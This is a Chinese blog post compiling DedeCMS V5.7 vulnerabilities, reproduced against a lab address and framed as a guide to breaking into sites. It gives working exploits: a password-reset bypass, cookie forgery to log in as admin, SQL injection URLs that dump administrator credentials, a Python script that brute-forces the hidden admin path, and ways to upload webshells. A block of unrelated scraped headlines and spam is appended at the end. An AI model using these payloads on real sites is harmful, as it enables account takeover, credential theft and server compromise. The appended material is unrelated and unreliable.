<
>

织梦内容管理系统(DedeCMS)漏洞集合

  1. 一、环境
  2. 二、站点识别
  3. 三、Dede前台漏洞
    1. 1、前台任意账号密码修改(账号未设置安全问题)
    2. 2、cookie伪造导致任意前台用户登录
    3. 3、任意重置后台用户密码
    4. 4、前台台任意文件上传
  4. 四、Dede后台突破
    1. 1、/plus/recommend.php文件注入漏洞
    2. 2、plus/search.php注入漏洞
    3. 3、后台路径突破
  5. 五、Dede后台漏洞
    1. 1、文件式管理器
    2. 2、模块-广告
    3. 3、模板-默认模板管理
    4. 4、模板-标签源码

织梦内容管理系统(DedeCMS),是一个集内容发布、编辑、管理检索等于一体的网站管理系统(Web CMS),是我遇见漏洞最多的cms了,用的网站还不少,特别是结合现已爆出的各种漏洞可以说是只要遇到就有很大的把握可以拿下,本篇文章就已结合突破为目的对漏洞进行复现整理

一、环境

IP:192.168.10.67
Dede版本:DedeCMS-V5.7-GBK-SP1-Full
WAF:SafeDog

二、站点识别

dede的站点特征还是很明显的,主要从两个地方观察,主页和会员登录界面
可以使用谷歌插件wappalyzer或者丢给云悉等等指纹识别站点

也可以通过特殊目录来判断,可以看robots.txt文件

三、Dede前台漏洞

http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/

1、前台任意账号密码修改(账号未设置安全问题)

原理:系统从数据库中获取safequestion,然后与传过来的数据进行判等。用的是双等号,又因为用户没有设置安全问题,数据库里面默认存的是0。

通过php弱类型的转换’0.0’ == ‘0’了。(内部运算:先是把0.0(浮点数(0.0)转换为int(0),然后字符串(‘0’)转换为int(0),最后 0==0 ,所以相等了。)
直接传0是不行的,因为代码中有empty函数的判断,当然也可以利用十六进制比如:0x0

先进行如下请求获取key
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1

然后拼接如下连接便可重置密码
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=yegBWVfW

2、cookie伪造导致任意前台用户登录

原理:dede前台cookie的生成与校验不严谨造成的,在添加用户时会生成一个不重复参数mid,mid和userid参数会用于cookie的校验工作。
由于mid在数据库中是int,所以要进行cookie的伪造需要注册用户名为要越权的用户mid数值,而admin默认为1,因此可以直接登录为admin。
需要注册用户名为对应数据库中dede_member表中mid对应的值。如注册用户名为001,0001,00001对应dede_member表中mid为1,便是admin的mid。

然后访问如下请求获取伪造的cookie,
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/index.php?uid=001

接下来使用001账号登录,登录后修改cookie。
将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5
如图修改完成

保存后刷新页面登录到admin用户中。

3、任意重置后台用户密码

其实就是上面前台任意账号密码修改和cookie伪造导致任意前台用户登录两个漏洞的结合使用

原理:在\DedeCMS-V5.7-GBK-SP1-Full\uploads\member\edit_baseinfo.php文件中的第118-123行中,当使用admin用户登录前台进行密码修改的时候会顺带将admin的后台密码也进行修改了。

先利用前台用户任意密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞使用admin用户登录到前台在如下页面中进行密码重置,旧密码便是利用前台用户任意密码重置漏洞重置admin的前台密码
访问该 http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/edit_baseinfo.php链接进行密码修改

4、前台台任意文件上传

原理:dede在uploads\include\dialog\select_images_post.php代码中校验文件名时,不是取文件的后缀名来进行判断的,而是对文件格式进行判断,然后再取后缀名进行拼接上传,便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过
前台会员可以通过内容中心的编辑器中上传绕过

由于配置问题可能会造成如下文件管理器的未授权访问以进行上传绕过
但一般网站会对如下连接做一个跳转
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/include/dialog/select_images.php

四、Dede后台突破

通过以上漏洞我们已近做到了修改管理员密码,只要拿到后台路径便可已进入后台操作,但也不能排除网站没有开启前台的会员中心这种情况

1、/plus/recommend.php文件注入漏洞

可使用exp直接爆出管理员账号密码
EXP如下:

1
/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` union select 1,2,3,(select concat(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type]=11

如图得到admin的账号和密码的MD5值
通过修改limit参数便可遍历后台账号密码,把表admin改为member便可查看前台账号密码

2、plus/search.php注入漏洞

访问如下路径
/plus/search.php?keyword=as&typeArr[uNion]%20=a

如反馈是:Safe Alert: Request Error step 1!
使用如下exp

1
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

如果反馈如图

使用如下exp

1
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

如图得到账号密码(md5)

3、后台路径突破

访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息
可以通过google搜索的方法:构造site:xxxx.com intitle:后台 等关键字搜索,也许能得到后台地址
老版本通过访问如下路径可能直接跳转后台登录,5.7版本一般会要求输入后台地址进行跳转

1
include/dialog/select_images.php
2
include/dialog/select_soft.php
3
include/dialog/config.php
4
include/dialog/select_soft.php?activepath=/include/FCKeditor
5
include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p

也可以利用/tags.php进行暴力破解,如下python脚本
替换脚本中的根路径使用

1
#!/usr/bin/env python
2
 
3
import requests
4
import itertools
5
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
6
back_dir = ""
7
flag = 0
8
url = "http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/tags.php"
9
data = {
10
    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
11
    "_FILES[mochazz][name]" : 0,
12
    "_FILES[mochazz]" : 0,
13
    "_FILES[mochazz][type]" : "image/gif"
14
}
15
 
16
for num in range(1,7):
17
    if flag:
18
        break
19
    for pre in itertools.permutations(characters,num):
20
        pre = ''.join(list(pre))
21
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
22
        print("testing",pre)
23
        r = requests.post(url,data=data)
24
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
25
            flag = 1
26
            back_dir = pre
27
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
28
            break
29
        else:
30
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
31
print("[+] pre:",back_dir)
32
flag = 0
33
for i in range(30):
34
    if flag:
35
        break
36
    for ch in characters:
37
        if ch == characters[-1]:
38
            flag = 1
39
            break
40
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
41
        r = requests.post(url, data=data)
42
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
43
            back_dir += ch
44
            print("[+] ",back_dir)
45
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
46
            break
47
        else:
48
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
49
 
50
print("admin url:",back_dir)

如图爆破结果

五、Dede后台漏洞

通过上面的漏洞我们已经来到了后台
这里就列举几个任意文件上传的位置

1、文件式管理器

如图直接再后台的文件管理处上传,没有过滤机制

2、模块-广告

访问 http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/plus/ad_js.php?aid=21

3、模板-默认模板管理

如图上传后缀名改为htm的shell

找到生成-更新主页html,选择刚才上传的shell,主页位置处改后缀为php

4、模板-标签源码

点击增加标签,将shell代码粘贴进去
shell位置在/include/taglib/


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1975763359@qq.com

💰

Title:织梦内容管理系统(DedeCMS)漏洞集合

Count:2k

Author: zcsmile

Created At:2019-12-05, 14:58:23

Updated At:2023-03-16, 16:04:42

Url: https://zcsmile.github.io/2019/12/05/3/

Copyright: 'Attribution-non-commercial-shared in the same way 4.0' Reprint please keep the original link and author.

×

Help us with donation

4617作文网吉林卫视在线直播牛鬼蛇神中国起名学实用大全属猪人张姓宝宝起名大全八字算起名大全佛滔居士帮起名商家码不能抵扣红包恢复办法起名字 八字 免费秦海璐个人资料简介火影忍者羁绊5.8个人专业技术工作小结江汉环球电影城颜姓男孩起什么名字好好积极分子思想汇报2021沈阳万科新里程医院财务制度淘宝无法登陆男孩起名诗句有哪些仿宋gb2312字体官方下载好名字起名测名网灯草和尚电影虚拟演播室侯姓起名大全男孩心里的声音百度云资源新超越极限2.44e凯立德导航地图cctv6儿童起名字大全女孩子免费明星大侦探第二季百度云唐诗 起名淀粉肠小王子日销售额涨超10倍罗斯否认插足凯特王妃婚姻让美丽中国“从细节出发”清明节放假3天调休1天男子给前妻转账 现任妻子起诉要回网友建议重庆地铁不准乘客携带菜筐月嫂回应掌掴婴儿是在赶虫子重庆警方辟谣“男子杀人焚尸”国产伟哥去年销售近13亿新的一天从800个哈欠开始男孩疑遭霸凌 家长讨说法被踢出群高中生被打伤下体休学 邯郸通报男子持台球杆殴打2名女店员被抓19岁小伙救下5人后溺亡 多方发声单亲妈妈陷入热恋 14岁儿子报警两大学生合买彩票中奖一人不认账德国打算提及普京时仅用姓名山西省委原副书记商黎光被逮捕武汉大学樱花即将进入盛花期今日春分张家界的山上“长”满了韩国人?特朗普谈“凯特王妃P图照”王树国3次鞠躬告别西交大师生白宫:哈马斯三号人物被杀代拍被何赛飞拿着魔杖追着打315晚会后胖东来又人满为患了房客欠租失踪 房东直发愁倪萍分享减重40斤方法“重生之我在北大当嫡校长”槽头肉企业被曝光前生意红火手机成瘾是影响睡眠质量重要因素考生莫言也上北大硕士复试名单了妈妈回应孩子在校撞护栏坠楼网友洛杉矶偶遇贾玲呼北高速交通事故已致14人死亡西双版纳热带植物园回应蜉蝣大爆发男孩8年未见母亲被告知被遗忘张立群任西安交通大学校长恒大被罚41.75亿到底怎么缴沈阳一轿车冲入人行道致3死2伤奥运男篮美国塞尔维亚同组周杰伦一审败诉网易国标起草人:淀粉肠是低配版火腿肠外国人感慨凌晨的中国很安全男子被流浪猫绊倒 投喂者赔24万杨倩无缘巴黎奥运男子被猫抓伤后确诊“猫抓病”春分“立蛋”成功率更高?记者:伊万改变了国足氛围奥巴马现身唐宁街 黑色着装引猜测

4617作文网 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化